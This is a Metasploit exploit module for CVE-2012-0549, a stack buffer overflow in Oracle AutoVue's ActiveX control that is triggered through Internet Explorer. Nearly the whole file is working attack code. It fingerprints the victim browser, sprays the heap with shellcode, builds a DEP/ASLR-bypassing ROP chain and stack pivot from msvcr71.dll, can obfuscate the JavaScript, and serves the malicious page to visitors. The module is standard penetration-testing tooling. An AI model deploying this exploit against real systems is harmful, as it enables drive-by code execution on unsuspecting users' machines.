##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# web site for more information on licensing and terms of use.
#   http://metasploit.com/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
	Rank = NormalRanking

	include Msf::Exploit::Remote::HttpServer::HTML
	include Msf::Exploit::Remote::Seh
	include Msf::Exploit::Remote::BrowserAutopwn

	autopwn_info({
		:ua_name    => HttpClients::IE,
		:ua_minver  => "6.0",
		:ua_maxver  => "9.0",
		:javascript => true,
		:os_name    => OperatingSystems::WINDOWS,
		:classid    => "{B6FCC215-D303-11D1-BC6C-0000C078797F}",
		:method     => "SetMarkupMode",
		:rank       => NormalRanking
	})


	def initialize(info = {})
		super(update_info(info,
			'Name'           => 'Oracle AutoVue ActiveX Control SetMarkupMode Buffer Overflow',
			'Description'    => %q{
					This module exploits a vulnerability found in the AutoVue.ocx ActiveX control.
				The vulnerability, due to the insecure usage of an strcpy like function in the
				SetMarkupMode method, when handling a specially crafted sMarkup argument, allows
				to trigger a stack based buffer overflow which leads to code execution under the
				context of the user visiting a malicious web page.

				The module has been successfully tested against Oracle AutoVue Desktop Version
				20.0.0 (AutoVue.ocx 20.0.0.7330) on IE 6, 7, 8 and 9 (Java 6 needed to DEP and
				ASLR bypass).
			},
			'Author'         =>
				[
					'Brian Gorenc', # Vulnerability discovery
					'juan vazquez' # Metasploit module
				],
			'License'        => MSF_LICENSE,
			'References'     =>
				[
					[ 'CVE', '2012-0549' ],
					[ 'BID', '53077' ],
					[ 'OSVDB', '81439' ],
					[ 'URL', 'http://dvlabs.tippingpoint.com/advisory/TPTI-12-05' ],
					[ 'URL', 'http://www.oracle.com/technetwork/topics/security/cpuapr2012-366314.html' ],
					[ 'URL', 'https://community.rapid7.com/community/metasploit/blog/2012/08/15/the-stack-cookies-bypass-on-cve-2012-0549' ]
				],
			'DefaultOptions' =>
				{
					'EXITFUNC' => 'process',

				},
			'Payload'        =>
				{
					'Space' => 948,
					'DisableNops' => true,
				},
			'DefaultOptions'  =>
				{
					'InitialAutoRunScript' => 'migrate -f'
				},
			'Platform' => 'win',
			'Targets'        =>
				[
					# AutoVue.ocx 20.0.0.7330
					[ 'Automatic', {} ],
					[
						'IE 6 on Windows XP SP3',
						{
							'SprayBlocks' => 0x185,
							'SprayCounter' => '0x5f2', # 0x0c0c0c08
							'SprayOffset' => '0x600', # 0x0c0c0c24
							'Offset' => 1052,
							'Ret' => 0x0c0c0c0c,
							'Rop' => nil,
							'RandomHeap' => false
						}
					],
					[
						'IE 7 on Windows XP SP3 / Windows Vista SP2',
						{
							'SprayBlocks' => 0x185,
							'SprayCounter' => '0x5f2', # 0x0c0c0c08
							'SprayOffset' => '0x600', # 0x0c0c0c24
							'Offset' => 1052,
							'Ret' => 0x0c0c0c0c,
							'Rop' => nil,
							'RandomHeap' => false
						}
					],
					[
						'IE 8 with Java 6 on Windows XP SP3/7 SP1/Vista SP2',
						{
							'SprayBlocks' => 0x185,
							'SprayCounter' => '0x5f2', # 0x0c0c0c08
							'SprayStackPivot' => '0x5f6', # 0x0c0c0c10
							'SprayOffset' => '0x5fc', # 0x0c0c0c1c
							'Offset' => 1052,
							'Ret' => 0x0c0c0c0c,
							'Rop' => :jre,
							'RandomHeap' => false,
						}
					],
					[
						'IE 9 with Java 6 on Windows 7 SP1',
						{
							'SprayBlocks' => 0x1000,
							'SprayNops' => '0x5f6', # 0x0c0c0bfc
							'SprayCounter' => '0x5fc', # 0x0c0c0c08
							'SprayStackPivot' => '0x600', # 0x0c0c0c10
							'SprayOffset' => '0x606', # 0x0c0c0c1c
							'Offset' => 1052,
							'Ret' => 0x0c0c0c0c,
							'Rop' => :jre,
							'RandomHeap' => true,
						}
					]
				],
			'Privileged'     => false,
			'DisclosureDate' => 'Apr 18 2012',
			'DefaultTarget'  => 0))

		register_options(
			[
				OptBool.new('OBFUSCATE', [false, 'Enable JavaScript obfuscation', false])
			], self.class
		)

	end

	def get_easy_spray(t, js_code, js_nops, js_counter)

		spray = <<-JS
		var heap_obj = new heapLib.ie(0x20000);
		var code = unescape("#{js_code}");
		var nops = unescape("#{js_nops}");
		var counter = unescape("#{js_counter}");

		while (nops.length < 0x80000) nops += nops;

		var offset = nops.substring(0, #{t['SprayCounter']});
		var offset_2 = nops.substring(0, #{t['SprayOffset']} - offset.length - counter.length);
		var block_used = code.length + offset_2.length + counter.length + offset.length;
		var shellcode = offset + counter + offset_2  + code + nops.substring(0, 0x800 - block_used);

		while (shellcode.length < 0x40000) shellcode += shellcode;
		var block = shellcode.substring(0, (0x80000-6)/2);

		heap_obj.gc();
		for (var z=1; z < #{t['SprayBlocks']}; z++) {
			heap_obj.alloc(block);
		}

		JS

		return spray

	end

	def get_aligned_spray(t, js_code, js_nops, js_counter, js_stack_pivot)

		spray = <<-JS
		var heap_obj = new heapLib.ie(0x20000);
		var code = unescape("#{js_code}");
		var nops = unescape("#{js_nops}");
		var counter = unescape("#{js_counter}");
		var stack_pivot = unescape("#{js_stack_pivot}")

		while (nops.length < 0x80000) nops += nops;

		var offset = nops.substring(0, #{t['SprayCounter']});
		var offset_2 = nops.substring(0, #{t['SprayStackPivot']} - offset.length - counter.length);
		var offset_3 = nops.substring(0, #{t['SprayOffset']} - offset.length - counter.length - offset_2.length - stack_pivot.length);
		var block_used = code.length + offset_3.length + stack_pivot.length + offset_2.length + counter.length + offset.length;
		var shellcode = offset + counter + offset_2  + stack_pivot + offset_3 + code + nops.substring(0, 0x800 - block_used);

		while (shellcode.length < 0x40000) shellcode += shellcode;
		var block = shellcode.substring(0, (0x80000-6)/2);

		heap_obj.gc();
		for (var z=1; z < #{t['SprayBlocks']}; z++) {
			heap_obj.alloc(block);
		}

		JS

		return spray

	end

	# Spray published by corelanc0d3r
	# Exploit writing tutorial part 11 : Heap Spraying Demystified
	# See https://www.corelan.be/index.php/2011/12/31/exploit-writing-tutorial-part-11-heap-spraying-demystified/
	def get_random_spray(t, js_code, js_nops, js_90_nops, js_counter, js_stack_pivot)

		spray = <<-JS

		function randomblock(blocksize)
		{
			var theblock = "";
			for (var i = 0; i < blocksize; i++)
			{
				theblock += Math.floor(Math.random()*90)+10;
			}
			return theblock;
		}

		function tounescape(block)
		{
			var blocklen = block.length;
			var unescapestr = "";
			for (var i = 0; i < blocklen-1; i=i+4)
			{
				unescapestr += "%u" + block.substring(i,i+4);
			}
			return unescapestr;
		}

		var heap_obj = new heapLib.ie(0x10000);

		var code = unescape("#{js_code}");
		var nops = unescape("#{js_nops}");
		var nops_90 = unescape("#{js_90_nops}");
		var counter = unescape("#{js_counter}");
		var stack_pivot = unescape("#{js_stack_pivot}")

		while (nops_90.length < 0x80000) nops_90 += nops_90;

		for (var i=0; i <  #{t['SprayBlocks']}; i++) {
			var padding = unescape(tounescape(randomblock(0x1000)));
			while (padding.length < 0x1000) padding+= padding;


			var offset = padding.substring(0, #{t['SprayNops']});
			var offset_2 = padding.substring(0, #{t['SprayCounter']} - offset.length - nops.length);
			var offset_4 = padding.substring(0, #{t['SprayOffset']} - offset.length -  nops.length - offset_2.length - counter.length - nops.length - stack_pivot.length);
			var block_used = code.length + offset_4.length + stack_pivot.length + nops.length + counter.length + offset_2.length + nops.length + offset.length;
			var single_sprayblock = offset + nops + offset_2 + counter + nops  + stack_pivot + offset_4 + code + padding.substring(0, 0x800 - block_used);

			while (single_sprayblock.length < 0x20000) single_sprayblock += single_sprayblock;
			sprayblock = single_sprayblock.substring(0, (0x40000-6)/2);
			heap_obj.alloc(sprayblock);
		}

		JS

		return spray
	end


	def junk(n=4)
		return rand_text_alpha(n).unpack("V").first
	end

	def nop
		return make_nops(4).unpack("V").first
	end

	# stackpivot from msvcr71.dll
	def get_stack_pivot_stage_1
		rop = [ 0x7c341ae4 ].pack("V*") # ADD ESP,48 # RETN
		return rop
	end

	# stackpivot from msvcr71.dll
	def get_stack_pivot_stage_2
		rop = [
			0x7c3522ca,  # ADD EAX,20 # RETN
			0x7c348b05,  # XCHG EAX,ESP # RETN
		].pack("V*")
		rop = rop.gsub(/"/, "\\\"")
		return rop
	end

	# ROP chain (msvcr71.dll) generated by mona.py - See corelan.be
	def get_rop_chain
		rop = [
			0x7c37653d,  # POP EAX # POP EDI # POP ESI # POP EBX # POP EBP # RETN
			0x00001000,  # (dwSize)
			0x7c347f98,  # RETN (ROP NOP)
			0x7c3415a2,  # JMP [EAX]
			0xffffffff,
			0x7c376402,  # skip 4 bytes
			0x7c345255,  # INC EBX # FPATAN # RETN
			0x7c352174,  # ADD EBX,EAX # XOR EAX,EAX # INC EAX # RETN
			0x7c344f87,  # POP EDX # RETN
			0x00000040,  # flNewProtect
			0x7c34d201,  # POP ECX # RETN
			0x7c38b001,  # &Writable location
			0x7c347f97,  # POP EAX # RETN
			0x7c37a151,  # ptr to &VirtualProtect() - 0x0EF
			0x7c378c81,  # PUSHAD # ADD AL,0EF # RETN
			0x7c345c30,  # ptr to 'push esp #  ret '
		].pack("V*")

		return rop
	end

	def get_target(agent)
		#If the user is already specified by the user, we'll just use that
		return target if target.name != 'Automatic'

		if agent =~ /NT 5\.1/ and agent =~ /MSIE 6/
			return targets[1]  #IE 6 on Windows XP SP3
		elsif agent =~ /NT 5\.1/ and agent =~ /MSIE 7/
			return targets[2]  #IE 7 on Windows XP SP3
		elsif agent =~ /NT 6\.0/ and agent =~ /MSIE 7/
			return targets[2]  #IE 7 on Windows Vista SP2
		elsif agent =~ /NT 5\.1/ and agent =~ /MSIE 8/
			return targets[3]  #IE 8 on Windows XP SP3
		elsif agent =~ /NT 6\.[01]/ and agent =~ /MSIE 8/
			return targets[3]  #IE 8 on Windows 7 SP1/Vista SP2
		elsif agent =~ /NT 6\.1/ and agent =~ /MSIE 9/
			return targets[4]  #IE 9 on Windows 7 SP1
		else
			return nil
		end
	end

	def on_request_uri(cli, request)

		agent = request.headers['User-Agent']
		print_status("User-agent: #{agent}")

		my_target = get_target(agent)

		# Avoid the attack if the victim doesn't have a setup we're targeting
		if my_target.nil?
			print_error("Browser not supported: #{agent}")
			send_not_found(cli)
			return
		end

		p = payload.encoded

		if my_target['Rop'].nil?
			js_code = Rex::Text.to_unescape(p, Rex::Arch.endian(my_target.arch))
		else
			js_stack_pivot = Rex::Text.to_unescape(get_stack_pivot_stage_1, Rex::Arch.endian(my_target.arch))
			js_code = Rex::Text.to_unescape(get_rop_chain + p, Rex::Arch.endian(my_target.arch))
		end

		js_nops = Rex::Text.to_unescape("\x0c"*4, Rex::Arch.endian(my_target.arch))
		js_90_nops = Rex::Text.to_unescape(make_nops(4), Rex::Arch.endian(my_target.arch))
		js_counter = Rex::Text.to_unescape("\x01\x00\x00\x00", Rex::Arch.endian(my_target.arch))

		js = ""

		if my_target['RandomHeap']
			js = get_random_spray(my_target, js_code, js_nops, js_90_nops, js_counter, js_stack_pivot)
		elsif my_target['Rop']
			js = get_aligned_spray(my_target, js_code, js_nops, js_counter, js_stack_pivot)
		else
			js = get_easy_spray(my_target, js_code, js_nops, js_counter)
		end

		js = heaplib(js, {:noobfu => true})

		if datastore['OBFUSCATE']
			js = ::Rex::Exploitation::JSObfu.new(js)
			js.obfuscate
		end

		if my_target['Rop'].nil?
			sploit = rand_text_alpha(my_target['Offset'])
		else
			sploit = rand_text_alpha(8)
			sploit << get_stack_pivot_stage_2
			# +1 because of the escape character in get_stack_pivot_stage_2
			sploit << rand_text_alpha(my_target['Offset'] - sploit.length + 1)
		end
		sploit << [my_target.ret].pack("V")

		html = <<-MYHTML
		<html>
		<head>
		<script>
		#{js}
		</script>
		</head>
		<body>
		<object classid='clsid:B6FCC215-D303-11D1-BC6C-0000C078797F' id='obj' />
		</object>
		<script>
			setTimeout(function(){ obj.SetMarkupMode("#{sploit}"); }, 100);
		</script>
		</body>
		</html>
		MYHTML

		html = html.gsub(/^\t\t/, '')

		print_status("Sending html")
		send_response(cli, html, {'Content-Type'=>'text/html'})
	end
end
